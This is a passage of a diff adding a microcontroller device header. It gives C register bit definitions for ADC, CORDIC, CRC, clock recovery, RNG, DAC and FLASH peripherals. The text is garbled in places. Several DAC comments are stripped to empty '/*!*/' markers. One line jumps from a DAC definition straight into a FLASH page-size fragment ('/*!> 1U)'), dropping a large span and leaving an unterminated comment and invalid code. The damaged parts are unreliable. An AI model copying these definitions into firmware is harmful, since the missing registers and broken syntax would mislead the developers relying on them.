0x04000000 */ +#define ADC_CCR_VDDCOREN ADC_CCR_VDDCOREN_Msk /*!< VDDCode enable */ + +/******************** Bit definition for ADC_CDR register *******************/ +#define ADC_CDR_RDATA_MST_Pos (0UL) +#define ADC_CDR_RDATA_MST_Msk (0xFFFFUL << ADC_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ +#define ADC_CDR_RDATA_MST ADC_CDR_RDATA_MST_Msk /*!< ADC multimode master group regular conversion data */ + +#define ADC_CDR_RDATA_SLV_Pos (16UL) +#define ADC_CDR_RDATA_SLV_Msk (0xFFFFUL << ADC_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ +#define ADC_CDR_RDATA_SLV ADC_CDR_RDATA_SLV_Msk /*!< ADC multimode slave group regular conversion data */ + +/******************** Bit definition for ADC_CDR2 register ******************/ +#define ADC_CDR2_RDATA_ALT_Pos (0UL) +#define ADC_CDR2_RDATA_ALT_Msk (0xFFFFFFFFUL << ADC_CDR2_RDATA_ALT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CDR2_RDATA_ALT ADC_CDR2_RDATA_ALT_Msk /*!< Regular data of the master/slave alternated ADCs */ + +/******************************************************************************/ +/* */ +/* CORDIC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CORDIC_CSR register *****************/ +#define CORDIC_CSR_FUNC_Pos (0UL) +#define CORDIC_CSR_FUNC_Msk (0xFUL << CORDIC_CSR_FUNC_Pos) /*!< 0x0000000F */ +#define CORDIC_CSR_FUNC CORDIC_CSR_FUNC_Msk /*!< Function */ +#define CORDIC_CSR_FUNC_0 (0x1UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000001 */ +#define CORDIC_CSR_FUNC_1 (0x2UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000002 */ +#define CORDIC_CSR_FUNC_2 (0x4UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000004 */ +#define CORDIC_CSR_FUNC_3 (0x8UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000008 */ +#define CORDIC_CSR_PRECISION_Pos (4UL) +#define CORDIC_CSR_PRECISION_Msk (0xFUL << CORDIC_CSR_PRECISION_Pos) /*!< 0x000000F0 */ +#define CORDIC_CSR_PRECISION CORDIC_CSR_PRECISION_Msk /*!< Precision */ +#define CORDIC_CSR_PRECISION_0 (0x1UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000010 */ +#define CORDIC_CSR_PRECISION_1 (0x2UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000020 */ +#define CORDIC_CSR_PRECISION_2 (0x4UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000040 */ +#define CORDIC_CSR_PRECISION_3 (0x8UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000080 */ +#define CORDIC_CSR_SCALE_Pos (8UL) +#define CORDIC_CSR_SCALE_Msk (0x7UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000700 */ +#define CORDIC_CSR_SCALE CORDIC_CSR_SCALE_Msk /*!< Scaling factor */ +#define CORDIC_CSR_SCALE_0 (0x1UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000100 */ +#define CORDIC_CSR_SCALE_1 (0x2UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000200 */ +#define CORDIC_CSR_SCALE_2 (0x4UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000400 */ +#define CORDIC_CSR_IEN_Pos (16UL) +#define CORDIC_CSR_IEN_Msk (0x1UL << CORDIC_CSR_IEN_Pos) /*!< 0x00010000 */ +#define CORDIC_CSR_IEN CORDIC_CSR_IEN_Msk /*!< Interrupt Enable */ +#define CORDIC_CSR_DMAREN_Pos (17UL) +#define CORDIC_CSR_DMAREN_Msk (0x1UL << CORDIC_CSR_DMAREN_Pos) /*!< 0x00020000 */ +#define CORDIC_CSR_DMAREN CORDIC_CSR_DMAREN_Msk /*!< DMA Read channel Enable */ +#define CORDIC_CSR_DMAWEN_Pos (18UL) +#define CORDIC_CSR_DMAWEN_Msk (0x1UL << CORDIC_CSR_DMAWEN_Pos) /*!< 0x00040000 */ +#define CORDIC_CSR_DMAWEN CORDIC_CSR_DMAWEN_Msk /*!< DMA Write channel Enable */ +#define CORDIC_CSR_NRES_Pos (19UL) +#define CORDIC_CSR_NRES_Msk (0x1UL << CORDIC_CSR_NRES_Pos) /*!< 0x00080000 */ +#define CORDIC_CSR_NRES CORDIC_CSR_NRES_Msk /*!< Number of results in WDATA register */ +#define CORDIC_CSR_NARGS_Pos (20UL) +#define CORDIC_CSR_NARGS_Msk (0x1UL << CORDIC_CSR_NARGS_Pos) /*!< 0x00100000 */ +#define CORDIC_CSR_NARGS CORDIC_CSR_NARGS_Msk /*!< Number of arguments in RDATA register */ +#define CORDIC_CSR_RESSIZE_Pos (21UL) +#define CORDIC_CSR_RESSIZE_Msk (0x1UL << CORDIC_CSR_RESSIZE_Pos) /*!< 0x00200000 */ +#define CORDIC_CSR_RESSIZE CORDIC_CSR_RESSIZE_Msk /*!< Width of output data */ +#define CORDIC_CSR_ARGSIZE_Pos (22UL) +#define CORDIC_CSR_ARGSIZE_Msk (0x1UL << CORDIC_CSR_ARGSIZE_Pos) /*!< 0x00400000 */ +#define CORDIC_CSR_ARGSIZE CORDIC_CSR_ARGSIZE_Msk /*!< Width of input data */ +#define CORDIC_CSR_RRDY_Pos (31UL) +#define CORDIC_CSR_RRDY_Msk (0x1UL << CORDIC_CSR_RRDY_Pos) /*!< 0x80000000 */ +#define CORDIC_CSR_RRDY CORDIC_CSR_RRDY_Msk /*!< Result Ready Flag */ + +/******************* Bit definition for CORDIC_WDATA register ***************/ +#define CORDIC_WDATA_ARG_Pos (0UL) +#define CORDIC_WDATA_ARG_Msk (0xFFFFFFFFUL << CORDIC_WDATA_ARG_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_WDATA_ARG CORDIC_WDATA_ARG_Msk /*!< Input Argument */ + +/******************* Bit definition for CORDIC_RDATA register ***************/ +#define CORDIC_RDATA_RES_Pos (0UL) +#define CORDIC_RDATA_RES_Msk (0xFFFFFFFFUL << CORDIC_RDATA_RES_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_RDATA_RES CORDIC_RDATA_RES_Msk /*!< Output Result */ + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0UL) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0UL) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0UL) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3UL) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5UL) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7UL) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0UL) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0UL) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0UL) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1UL) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2UL) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3UL) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5UL) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6UL) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7UL) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8UL) +#define CRS_CR_TRIM_Msk (0x7FUL << CRS_CR_TRIM_Pos) /*!< 0x00007F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0UL) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16UL) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24UL) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28UL) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31UL) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0UL) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1UL) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2UL) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3UL) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8UL) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9UL) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10UL) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15UL) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16UL) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0UL) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1UL) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2UL) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3UL) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2UL) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3UL) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5UL) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7UL) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8UL) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12UL) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13UL) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16UL) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20UL) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30UL) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31UL) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0UL) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1UL) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2UL) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5UL) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6UL) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + +/******************** Bits definition for RNG_NSCR register *******************/ +#define RNG_NSCR_EN_OSC1_Pos (0UL) +#define RNG_NSCR_EN_OSC1_Msk (0x7UL << RNG_NSCR_EN_OSC1_Pos) /*!< 0x00000007 */ +#define RNG_NSCR_EN_OSC1 RNG_NSCR_EN_OSC1_Msk +#define RNG_NSCR_EN_OSC2_Pos (3UL) +#define RNG_NSCR_EN_OSC2_Msk (0x7UL << RNG_NSCR_EN_OSC2_Pos) /*!< 0x00000038 */ +#define RNG_NSCR_EN_OSC2 RNG_NSCR_EN_OSC2_Msk +#define RNG_NSCR_EN_OSC3_Pos (6UL) +#define RNG_NSCR_EN_OSC3_Msk (0x7UL << RNG_NSCR_EN_OSC3_Pos) /*!< 0x000001C0 */ +#define RNG_NSCR_EN_OSC3 RNG_NSCR_EN_OSC3_Msk +#define RNG_NSCR_EN_OSC4_Pos (9UL) +#define RNG_NSCR_EN_OSC4_Msk (0x7UL << RNG_NSCR_EN_OSC4_Pos) /*!< 0x00000E00 */ +#define RNG_NSCR_EN_OSC4 RNG_NSCR_EN_OSC4_Msk +#define RNG_NSCR_EN_OSC5_Pos (12UL) +#define RNG_NSCR_EN_OSC5_Msk (0x7UL << RNG_NSCR_EN_OSC5_Pos) /*!< 0x00007000 */ +#define RNG_NSCR_EN_OSC5 RNG_NSCR_EN_OSC5_Msk +#define RNG_NSCR_EN_OSC6_Pos (15UL) +#define RNG_NSCR_EN_OSC6_Msk (0x7UL << RNG_NSCR_EN_OSC6_Pos) /*!< 0x00038000 */ +#define RNG_NSCR_EN_OSC6 RNG_NSCR_EN_OSC6_Msk + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0UL) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk +/******************** RNG Nist Compliance Values *******************/ +#define RNG_CR_NIST_VALUE (0x00F10F00U) +#define RNG_HTCR_NIST_VALUE (0xA715U) +#define RNG_NSCR_NIST_VALUE (0x9049U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0UL) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14UL) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16UL) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30UL) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0UL) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) + +#define FLASH_PAGE_SIZE 0x2000U /* 8 KB */ + +#define FLASH_PAGE_NB (FLASH_BANK_SIZE / FLASH_PAGE_SIZE) + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0UL) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_PRFTEN_Pos (8UL) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ +#define FLASH_ACR_LPM_Pos (11UL) +#define FLASH_ACR_LPM_Msk (0x1UL << FLASH_ACR_LPM_Pos) /*!< 0x00000800 */ +#define FLASH_ACR_LPM FLASH_ACR_LPM_Msk /*!< Low-Power read mode */ +#define FLASH_ACR_PDREQ1_Pos (12UL) +#define FLASH_ACR_PDREQ1_Msk (0x1UL << FLASH_ACR_PDREQ1_Pos) /*!< 0x00001000 */ +#define FLASH_ACR_PDREQ1 FLASH_ACR_PDREQ1_Msk /*!< Bank 1 power-down mode request */ +#define FLASH_ACR_PDREQ2_Pos (13UL) +#define FLASH_ACR_PDREQ2_Msk (0x1UL << FLASH_ACR_PDREQ2_Pos) /*!< 0x00002000 */ +#define FLASH_ACR_PDREQ2 FLASH_ACR_PDREQ2_Msk /*!< Bank 2 power-down mode request */ +#define FLASH_ACR_SLEEP_PD_Pos (14UL) +#define FLASH_ACR_SLEEP_PD_Msk (0x1UL << FLASH_ACR_SLEEP_PD_Pos) /*!< 0x00004000 */ +#define FLASH_ACR_SLEEP_PD FLASH_ACR_SLEEP_PD_Msk /*!< Flash power-down mode during sleep */ + +/****************** Bits definition for FLASH_NSSR register *****************/ +#define FLASH_NSSR_EOP_Pos (0UL) +#define FLASH_NSSR_EOP_Msk (0x1UL << FLASH_NSSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_NSSR_EOP FLASH_NSSR_EOP_Msk /*!< Non-secure end of operation */ +#define FLASH_NSSR_OPERR_Pos (1UL) +#define FLASH_NSSR_OPERR_Msk (0x1UL << FLASH_NSSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_NSSR_OPERR FLASH_NSSR_OPERR_Msk /*!< Non-secure operation error */ +#define FLASH_NSSR_PROGERR_Pos (3UL) +#define FLASH_NSSR_PROGERR_Msk (0x1UL << FLASH_NSSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_NSSR_PROGERR FLASH_NSSR_PROGERR_Msk /*!< Non-secure programming error */ +#define FLASH_NSSR_WRPERR_Pos (4UL) +#define FLASH_NSSR_WRPERR_Msk (0x1UL << FLASH_NSSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_NSSR_WRPERR FLASH_NSSR_WRPERR_Msk /*!< Non-secure write protection error */ +#define FLASH_NSSR_PGAERR_Pos (5UL) +#define FLASH_NSSR_PGAERR_Msk (0x1UL << FLASH_NSSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_NSSR_PGAERR FLASH_NSSR_PGAERR_Msk /*!< Non-secure programming alignment error */ +#define FLASH_NSSR_SIZERR_Pos (6UL) +#define FLASH_NSSR_SIZERR_Msk (0x1UL << FLASH_NSSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_NSSR_SIZERR FLASH_NSSR_SIZERR_Msk /*!< Non-secure size error */ +#define FLASH_NSSR_PGSERR_Pos (7UL) +#define FLASH_NSSR_PGSERR_Msk (0x1UL << FLASH_NSSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_NSSR_PGSERR FLASH_NSSR_PGSERR_Msk /*!< Non-secure programming sequence error */ +#define FLASH_NSSR_OPTWERR_Pos (13UL) +#define FLASH_NSSR_OPTWERR_Msk (0x1UL << FLASH_NSSR_OPTWERR_Pos) /*!< 0x00002000 */ +#define FLASH_NSSR_OPTWERR 